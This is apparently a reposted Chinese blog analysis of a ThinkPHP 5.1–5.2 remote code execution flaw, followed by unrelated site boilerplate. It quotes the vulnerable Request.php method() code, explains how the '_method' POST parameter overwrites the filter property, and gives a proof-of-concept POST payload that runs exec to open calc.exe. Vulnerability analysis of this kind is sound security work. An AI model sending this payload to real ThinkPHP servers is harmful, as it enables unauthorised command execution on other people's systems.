Thinkphp5.1 ~ 5.2 全版本代码执

栏目: PHP · 发布时间: 7年前

内容简介:最近爆出了Thinkphp5.0.*全版本代码执行,其中5.1与5.2全版本在文件位置:\thinkphp\library\think\Request.php其中:

序言

最近爆出了Thinkphp5.0.*全版本代码执行,其中5.1与5.2全版本在 生产环境下 下同样也存在代码执行

漏洞分析:

文件位置:\thinkphp\library\think\Request.php

/**
     * 当前的请求类型
     * @access public
     * @param  bool $origin  是否获取原始请求类型
     * @return string
     */
    public function method($origin = false)
    {
        if ($origin) {
            // 获取原始请求类型
            return $this->server('REQUEST_METHOD') ?: 'GET';
        } elseif (!$this->method) {
            if (isset($_POST[$this->config['var_method']])) {
                $this->method    = strtoupper($_POST[$this->config['var_method']]);
                $method          = strtolower($this->method);
                $this->{$method} = $_POST;
            } elseif ($this->server('HTTP_X_HTTP_METHOD_OVERRIDE')) {
                $this->method = strtoupper($this->server('HTTP_X_HTTP_METHOD_OVERRIDE'));
            } else {
                $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
            }
        }

        return $this->method;
    }

其中:

$this->method    = strtoupper($_POST[$this->config['var_method']]);
$method          = strtolower($this->method);
$this->{$method} = $_POST;

$method变量是$this->method,其同等于POST的”_method”参数值

然后该处存在一个变量覆盖

我们可以覆盖 $filter 属性值(POC如下)

c=exec&f=calc.exe&&_method=filter&

访问如下图所示:

Thinkphp5.1 ~ 5.2 全版本代码执

会爆出一个警告级别的异常,导致程序终止

如何触发:

如果设置忽略异常提示,如下图:

Thinkphp5.1 ~ 5.2 全版本代码执

本身项目发布就需要屏蔽异常和错误所以这个配置是一个正常的配置

Payload(POST请求):

Thinkphp5.1 ~ 5.2 全版本代码执

弹出计算器


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

深入React技术栈

深入React技术栈

陈屹 / 人民邮电出版社 / 2016-11-1 / CNY 79.00

全面讲述React技术栈的第一本原创图书,pure render专栏主创倾力打造 覆盖React、Flux、Redux及可视化,帮助开发者在实践中深入理解技术和源码 前端组件化主流解决方案,一本书玩转React“全家桶” 本书讲解了非常多的内容,不仅介绍了面向普通用户的API、应用架构和周边工具,还深入介绍了底层实现。此外,本书非常重视实战,每一节都有实际的例子,细节丰富。我从这......一起来看看 《深入React技术栈》 这本书的介绍吧!

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具